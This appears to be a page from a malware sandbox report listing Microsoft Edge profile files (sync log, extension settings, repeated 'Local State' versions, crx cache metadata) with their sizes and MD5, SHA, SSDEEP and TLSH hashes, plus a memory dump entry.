Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 4KB
SHA256 ebcbb129e7f74a4e9e8c0074166eca129afe8af4c195f91e90b3be5a3f035193
MD5 421f8ca39c2a1bdcb4c8af8c7a84640d
SHA1 5b317e1900b16e89af459f7ce7aa5cf738f5d42d
SHA512 f3d686f0b31c560d8312dac915887a06489ee64b031d333a00385d3690b9f3b44a6c60d6ea12a68f4ee9eb3aa1447c8f7d065d3a314cc485e32755155d56fb50
SSDEEP 48:K2V6RF7PjkzPgPIgtkKpBxDkdl0KA7l5yF1I1K2IAOy7QEygAxJk5sIicxKL4jSK:K0yAKb6CG16K2ItjKKUMud
TLSH
T14C913593713A434128BD651D95A8C71BC6C674B3300CA82B7BD850B25F6AF251EFD8DE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 30KB
SHA256 af0d071b6cde961944efeeadc9892013a2352008b48d2a3456b902004286dd1a
MD5 0a81876183dbbed8e80b1576b32a7be8
SHA1 5d0246268955a8c8dcf78692d69ad3f65b136d6f
SHA512 e967531b5aa0d58f69c0f601305b07b6ba0df7343712980d7f1371448a10d66f97b2bc444fb1d128acfa6f186816ec3e23af80409044738a4cf3f6aad9ff03ff
SSDEEP 768:A739nq5LAL1ZAam6aQMGdjWca4Ghf9jad:A73rLmaME6pjO
TLSH
T104E2AE316CA899739CA7A295F72E3643FEF04163C5D84E84C5ED6B0E069758E230BD1B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 32KB
SHA256 521f2b483b34c02ced5b359600cab191ef7b2e84f4d62ef037997c1f31ba5f66
MD5 394a0285b2cf554d9cc2e2828dc9c785
SHA1 eb0c36e92f8dc3ba54ab39f618a3118d701d2d6e
SHA512 ec125305758554050f90cc530184f7d00d8d4e88f21156d354596ccb0f36c8289914d50ec00fce1f11ffdbde1eb2c3ab67d78af694981768889b92dfcd416ce1
SSDEEP 768:QFQAC35wgxnq5LALEAam6aQMGdjWca4Ghf9jad:DAC3YmaME6pjO
TLSH
T1A4E29F325CA8C5779CB79B95F72E3743EEF04163C8D89A80D6DD5A0E029758D230BD1A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 30KB
SHA256 b48bb4c3a4456b0d3ace55c701709974851cf62b54f55a13cb8319fbf9da3785
MD5 6a3a165201137d0e39d079077ff7166f
SHA1 3be237904443aaf2be61ab48321d873271c2ef88
SHA512 8b97eed53baeff0851bbafa2f449c03a67a3b0a6fea06ef403c598806dc4263ec17f05b1b5c8f6b01f872c121938b30b80803573a754785791d7b0a83117389d
SSDEEP 768:K73enq5LAL1ZAam6aQMGdjWca4Ghf9jad:K73uLmaME6pjO
TLSH
T172E2AE316CA899739CA7A295F72E2643FEF04163C5D84E84C5ED6B0E029758E230BD1B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 32KB
SHA256 e4fc184d9fc14386428fbb5ba410808fc2c2fc90a649492dd425dfeafbff8ea5
MD5 9bc3b5ff2e0b915a72eca453938ff457
SHA1 b7f86c4bfaf3b8f07d66cd661da1aee8fb4068be
SHA512 6b7d247c1d7ba6235bb09ee71b5873dd5bf139ec382fa226b4944b3a1e7e9e28fb5892182a99b14813ade6a5e6e8ca782e216ea855e6369e471b2c6780b8ad3c
SSDEEP 768:QF9AC3WwgBnq5LALDAam6aQMGdjWca4Ghf9jad:4AC3wmaME6pjO
TLSH
T189E29E325CA8C577ACB79B95F72E3743EEF04163C8D89A80D6DD5A0E029758D230BD1A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 32KB
SHA256 cb05ae40889227b5378b53aae2416b79ad4764398c577cc73f531805e45bea0d
MD5 99a6fb876d97be8755b5d9c67977cea8
SHA1 82a52424ce831bf39f73fed316fea987c13f59b8
SHA512 1b8fa022d4047e219e645af3c24ec07a3beaeafda159f17c778df91a2e7b7f5f550d8197697c62bdb9a61abf501de583219bda66b92f07c259bcf4928a44b237
SSDEEP 768:QFQA+35wgznq5LALsAam6aQMGdjWca4Ghf9jad:DA+3mmaME6pjO
TLSH
T13AE2AF325CA8C5779CB79B95F72E3743EEF04163C8D89A80D6DD5A0E029758D230BD1A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 34KB
SHA256 8f2420dfd470f36c2fa2f8bdde5dc63b006a7c1c2b68504ddfa132839305ce73
MD5 30b68d32c5b23d38868c383047849751
SHA1 be2754efe04590dd3266cde63d471e5c7e33de97
SHA512 5bacc951d4311f7e58713c5b2f2799b7768f1f37a5aedaac0c2ba4b86b3b58aaef355f7c5c9a0e9c66c515685ae29ee52852d38e8f3b817a9fc1b094db3feca9
SSDEEP 768:/rv+4UNbdq3zHq5LXnAAam6aQMGdjWca4GhfBEPeU/:/bsbc3YnKmaME6psH
TLSH
T1B9F2BE31A86C9573DDB79A99F21B6747BEF021A389D40E80C9D91B0D439748E3307D2B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 78a7404b7a0b98ed6be0f3a7fe171d25083800fe2abd5f5532b8d598348ca87b
MD5 c60fbacafa32c97bc0244e6fec55124f
SHA1 018e1dc935fa471a2be565dcd637aa7f9dcd1130
SHA512 e86c962eca8f977035c031056f75f9346ab75ae3cfaea0f2cdc5d068f93b57325634297057aefdb4a2645407e9251eb92d719de028a63faf31c6d80506ec06b5
SSDEEP 768:lrv+4UNbdq3ldq5LAL10Aam6aQMGdjWca4GhfwjPeU/:lbsbc3NWmaME6pwH
TLSH
T1E1F2AE31A86CD573ACB75695F21B7647BEB052A3C9C80E80D9DD2A0D439B48E330BD1B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\metadata.json
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

memory/5520-273-0x000001E227E60000-0x000001E227E82000-memory.dmp

Download